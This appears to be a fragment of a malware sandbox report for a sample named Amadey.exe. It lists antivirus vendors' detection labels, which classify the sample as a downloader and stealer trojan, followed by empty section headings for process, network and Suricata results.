Avira	HEUR/AGEN.1319380
Antiy-AVL	Trojan[Downloader]/Win32.Amadey
Kingsoft	malware.kb.a.995
Gridinsoft	Trojan.Win32.Amadey.bot
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	HEUR:Trojan-Spy.Win32.Stealer.gen
GData	Win32.Trojan-Downloader.Amadey.D
Google	Detected
AhnLab-V3	Malware/Win.Trojanspy.C5238800
ALYac	Gen:Variant.Zusy.446510
MAX	malware (ai score=86)
Cylance	unsafe
Panda	Trj/Genetic.gen
TrendMicro-HouseCall	Trojan.Win32.AMADEY.YXDI3Z
Rising	Spyware.Agent!8.C6 (TFE:5:Be6eNfNv8YM)
SentinelOne	Static AI - Malicious PE

Amadey.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All